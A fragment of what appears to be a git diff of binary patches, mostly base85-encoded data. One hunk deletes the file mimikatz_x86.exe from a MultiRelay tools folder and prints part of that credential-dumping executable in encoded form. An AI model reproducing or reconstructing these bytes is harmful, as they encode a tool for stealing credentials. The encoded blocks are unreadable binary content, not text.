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 AO#lD@ diff --git a/tools/MultiRelay/bin/mimikatz_x86.exe b/tools/MultiRelay/bin/mimikatz_x86.exe deleted file mode 100644 index 7a171455f17596add0fe80edca855ad9e0721d8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 612864 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 